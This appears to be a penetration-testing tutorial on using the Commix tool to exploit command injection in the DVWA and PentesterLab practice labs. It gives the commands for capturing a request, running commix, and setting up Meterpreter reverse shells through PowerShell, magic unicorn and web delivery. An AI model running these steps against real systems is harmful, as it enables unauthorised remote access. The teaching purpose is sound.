Commix is an automated command injection tool.
It lets you have a meterpreter session via command injection if the web
application is vulnerable to it. It’s pretty efficient and reliable. Commix is
widely used by security experts, penetration testers and also web developers in
order find vulnerabilities. In this article we will learn how to get a
meterpreter session using commix.
Requirements :
·
DVWA
(for Windows 10)
·
PentesterLab
(for Linux testing)
·
Kali
Linux
·
Commix
As you can see in the image below the
environment of DVWA is vulnerable to command injection. Submit the local host
request from DVWA.
Capture the previously submitted request
through BurpSuite by simultaneously turning on the intercept as shown in the
image below :
Once the cookies are capture, copy the whole
cookie and paste it in a TXT file. Now,
use the following command in order to exploit the vulnerability of Command
injection in the DVWA environment :
commix -r /root/Desktop/req.txt
here,
-r : refers to the path of request file which
will load HTTP.
As the exploitation is successful, it will ask
you if you want to load the pseudo terminal or not. Type ‘y’ for the pseudo
terminal and it will be loaded. Use the command ‘whoami’ to check the user as
shown in the image :
Now that your are in the pseudo terminal, type
the following set of command in order to generate reverse shell :
reverse_tcp
set lhost 192.168.1107
set lport 1234
After executing above commands, it will ask you
if you want to have a netcat shell or other (meterpreter) shell. So, press 2
for the meterpreter one. Then it will ask you which meterpreter session you
want as in whether you want it to be PHP, Windows, etc. As our DWVA is setup on
windows, we will select option 10. Then it will further ask you to choose a
particular power shell injection. Choose 1 as of now as we will try other
options too.
When everything is done, it will give a
resource file with the execution command. Open a new terminal window and type
the command there, as in our case it generated the following command :
msfconsole -r
/usr/share/commix/powershell_attack.rc
As the above command is executed, you will
directly have your meterpreter session as shown in the image above.
Now, repeat the above steps as they are but
instead of choosing 1 option of power shell injection choose 2 this time as it
will help us get meterpreter session through magic unicorn. After choosing
option 2, it will again generate a resource file that is to be executed in the
new terminal window. In our case following command was generated :
msfconsole -r
/usr/sharae/magic-unicorn/unicorn.rc
Again, when the command is executing you will
have your meterpreter session as shown in the image below :
All the above meterpreter session were taken
using option 10 under the category of meterpreter reverse shell. But this time
we will use option 11, which is web delivery, to have a meterpreter session.
So, repeat the same steps as above but this time choose 11 option when asked
for which meterpreter reverse shell you want.
Then once you have chosen option 11, it will
ask whether you want web delivery script for PHP, Python or windows. Now, as we
are attacking windows select option 3.
Once again, it will give you a recourse file
and a command that is to be run in the new terminal window. In our case,
following command was generated :
msfconsole -r
/usr/sharae/commix/web_delivery.rc
As the
command is executed, you will have your meterpreter session as shown in the
image below :
Until now, all the meterpreter session we took
were in the window’s environment. Now, will be gain meterpreter session in
Linux’s environment. For this, we will use PentesterLab.
Just like we did for windows, capture the
cookies of pentesterlab in bursuite as shown in the image
below :
Copy the contents of the cookies in a TXT file
and use the following command to attack :
commix -r
/root/Desktop/1.txt
As the exploitation is successful, it will ask
you if you want to load the pseudo terminal or not. Type ‘y’ for the pseudo
terminal and it will be loaded. Use the command ‘whoami’ to check the user as
shown in the image :
Now that you are in the pseudo terminal, type
the following set of command in order to generate reverse shell :
reverse_tcp
set lhost 192.168.1107
set lport 1234
After executing above commands, it will ask you
if you want to have a netcat shell or other (meterpreter) shell. So, press 2
for the meterpreter one. Then it will ask you which meterpreter session you
want as in whether you want it to be PHP, Windows, etc. As we are now testing
on linux, we will select option 8 i.e. a PHP meterpreter reverse shell.
Just like before, this too will generate a
resource file which you have to execute in a new terminal window. In our case,
the command generated was :
Msfconsole -r
/usr/share/commix/php_meterpreter.rc
As the
above command is executed, you will have you session as shown in the image
below :
The other method we will use to exploit linux
is by using web delivery. Repeat the above steps similarly, ut instead of
choosing option 8, this time choose option 11 for web delivery. And then choose
option 2 for a PHP reverse shell.
Executing the above steps will create a
resource file yet again. Run the command given in the new terminal window :
msfconsole -r
/usr/share/commix/web_delivery.rc
Running the above command will give you your session as shown in the above image.
This is how, you can gain a meterpreter session through command injection vulnerability
using commix. The session can be acquired in both windows and linux platforms.
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